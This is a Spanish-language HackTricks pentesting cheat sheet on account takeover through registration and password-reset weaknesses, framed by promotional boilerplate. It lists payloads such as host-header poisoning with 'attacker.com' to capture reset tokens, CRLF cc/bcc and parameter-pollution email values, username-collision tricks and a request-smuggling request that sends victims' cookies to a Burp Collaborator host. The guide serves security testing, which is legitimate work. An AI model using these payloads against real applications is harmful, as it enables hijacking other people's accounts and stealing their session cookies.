# Vulnerabilidades de Registro y Toma de Control
Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)! Otras formas de apoyar a HackTricks: * Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Obtén [**artículos oficiales de PEASS & HackTricks**](https://peass.creator-spring.com) * Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
## WhiteIntel
[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares robadores**. El objetivo principal de WhiteIntel es combatir tomas de control de cuentas y ataques de ransomware resultantes de malwares que roban información. Puedes visitar su sitio web y probar su motor de forma **gratuita** en: {% embed url="https://whiteintel.io" %} --- ## Toma de Control de Registro ### Registro Duplicado * Intenta generar usando un nombre de usuario existente * Verifica variando el correo electrónico: * mayúsculas * \+1@ * agregar puntos en el correo * caracteres especiales en el nombre del correo (%00, %09, %20) * Coloca caracteres negros después del correo: `test@test.com a` * victim@gmail.com@attacker.com * victim@attacker.com@gmail.com ### Enumeración de Usuario Verifica si puedes determinar si un nombre de usuario ya ha sido registrado dentro de la aplicación. ### Política de Contraseña Al crear un usuario, verifica la política de contraseñas (verifica si se pueden usar contraseñas débiles).\ En ese caso, puedes intentar fuerza bruta con credenciales. ### Inyección SQL [**Verifica esta página** ](sql-injection/#insert-statement)para aprender cómo intentar tomas de control de cuentas o extraer información a través de **Inyecciones SQL** en formularios de registro. ### Toma de Control de Oauth {% content-ref url="oauth-to-account-takeover.md" %} [oauth-to-account-takeover.md](oauth-to-account-takeover.md) {% endcontent-ref %} ### Vulnerabilidades de SAML {% content-ref url="saml-attacks/" %} [saml-attacks](saml-attacks/) {% endcontent-ref %} ### Cambio de Correo Electrónico Después de registrarte, intenta cambiar el correo electrónico y verifica si este cambio se valida correctamente o si se puede cambiar a correos electrónicos arbitrarios. ### Más Verificaciones * Verifica si puedes usar **correos electrónicos desechables** * Una **contraseña larga** (>200) conduce a una **Denegación de Servicio (DoS)** * **Verifica los límites de velocidad en la creación de cuentas** * Utiliza username@**burp\_collab**.net y analiza el **callback** ## **Toma de Control de Restablecimiento de Contraseña** ### Fuga de Token de Restablecimiento de Contraseña a través del Referente 1. Solicita restablecer la contraseña a tu dirección de correo electrónico 2. Haz clic en el enlace de restablecimiento de contraseña 3. No cambies la contraseña 4. Haz clic en cualquier sitio web de terceros (por ejemplo: Facebook, Twitter) 5. Intercepta la solicitud en el proxy de Burp Suite 6. Verifica si el encabezado de referente está filtrando el token de restablecimiento de contraseña. ### Envenenamiento de Restablecimiento de Contraseña 1. Intercepta la solicitud de restablecimiento de contraseña en Burp Suite 2. Agrega o edita los siguientes encabezados en Burp Suite: `Host: attacker.com`, `X-Forwarded-Host: attacker.com` 3. Reenvía la solicitud con el encabezado modificado\ `http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com` 4. Busca una URL de restablecimiento de contraseña basada en el _encabezado de host_ como: `https://attacker.com/reset-password.php?token=TOKEN` ### Restablecimiento de Contraseña a través del Parámetro de Correo Electrónico ```powershell # parameter pollution email=victim@mail.com&email=hacker@mail.com # array of emails {"email":["victim@mail.com","hacker@mail.com"]} # carbon copy email=victim@mail.com%0A%0Dcc:hacker@mail.com email=victim@mail.com%0A%0Dbcc:hacker@mail.com # separator email=victim@mail.com,hacker@mail.com email=victim@mail.com%20hacker@mail.com email=victim@mail.com|hacker@mail.com ``` ### IDOR en Parámetros de API 1. El atacante debe iniciar sesión con su cuenta e ir a la función **Cambiar contraseña**. 2. Iniciar Burp Suite y interceptar la solicitud. 3. Enviarla a la pestaña de repetidor y editar los parámetros: ID de usuario/correo electrónico\ `powershell POST /api/changepass [...] ("form": {"email":"victima@email.com","password":"contraseñasegura"})` ### Token Débil de Reinicio de Contraseña El token de reinicio de contraseña debe generarse aleatoriamente y ser único cada vez.\ Intenta determinar si el token expira o si siempre es el mismo, en algunos casos, el algoritmo de generación es débil y puede ser adivinado. Las siguientes variables podrían ser utilizadas por el algoritmo. * Marca de tiempo * ID de usuario * Correo electrónico del usuario * Nombre y apellido * Fecha de nacimiento * Criptografía * Solo números * Secuencia de token pequeña (caracteres entre \[A-Z,a-z,0-9]) * Reutilización de token * Fecha de vencimiento del token ### Fuga de Token de Reinicio de Contraseña 1. Desencadena una solicitud de reinicio de contraseña utilizando la API/UI para un correo electrónico específico, por ejemplo: test@mail.com 2. Inspecciona la respuesta del servidor y busca `resetToken` 3. Luego usa el token en una URL como `https://ejemplo.com/v3/usuario/contraseña/reset?resetToken=[EL_RESET_TOKEN]&email=[EL_CORREO]` ### Reinicio de Contraseña a Través de Colisión de Nombre de Usuario 1. Regístrate en el sistema con un nombre de usuario idéntico al del usuario víctima, pero con espacios en blanco insertados antes y/o después del nombre de usuario. por ejemplo: `"admin "` 2. Solicita un reinicio de contraseña con tu nombre de usuario malicioso. 3. Utiliza el token enviado a tu correo electrónico y restablece la contraseña de la víctima. 4. Conéctate a la cuenta de la víctima con la nueva contraseña. La plataforma CTFd era vulnerable a este ataque.\ Ver: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245) ### Toma de Control de Cuenta a Través de Cross Site Scripting 1. Encuentra un XSS dentro de la aplicación o un subdominio si las cookies están limitadas al dominio principal: `*.dominio.com` 2. Filtra la **cookie de sesión** actual 3. Autentícate como el usuario utilizando la cookie ### Toma de Control de Cuenta a Través de HTTP Request Smuggling 1. Utiliza **smuggler** para detectar el tipo de HTTP Request Smuggling (CL, TE, CL.TE)\ `powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h`\ 2. Crea una solicitud que sobrescribirá el `POST / HTTP/1.1` con los siguientes datos:\ `GET http://algo.burpcollaborator.net HTTP/1.1 X:` con el objetivo de redirigir a las víctimas a burpcollab y robar sus cookies\ 3. La solicitud final podría verse así: ``` GET / HTTP/1.1 Transfer-Encoding: chunked Host: something.com User-Agent: Smuggler/v1.0 Content-Length: 83 0 GET http://something.burpcollaborator.net HTTP/1.1 X: X ``` ### Explotación de este bug reportado en Hackerone\ * [https://hackerone.com/reports/737140](https://hackerone.com/reports/737140)\ * [https://hackerone.com/reports/771666](https://hackerone.com/reports/771666) ### Toma de control de cuenta a través de CSRF 1. Crear un payload para CSRF, por ejemplo: "Formulario HTML con envío automático para cambio de contraseña" 2. Enviar el payload ### Toma de control de cuenta a través de JWT El Token JSON Web podría ser utilizado para autenticar a un usuario. * Editar el JWT con otro ID de usuario / Email * Verificar una firma JWT débil {% content-ref url="hacking-jwt-json-web-tokens.md" %} [hacking-jwt-json-web-tokens.md](hacking-jwt-json-web-tokens.md) {% endcontent-ref %} ## Referencias * [https://salmonsec.com/cheatsheet/account\_takeover](https://salmonsec.com/cheatsheet/account\_takeover) ## WhiteIntel
[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares robadores**. El objetivo principal de WhiteIntel es combatir tomas de control de cuenta y ataques de ransomware resultantes de malwares que roban información. Puedes visitar su sitio web y probar su motor de forma **gratuita** en: {% embed url="https://whiteintel.io" %}
Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)! Otras formas de apoyar a HackTricks: * Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).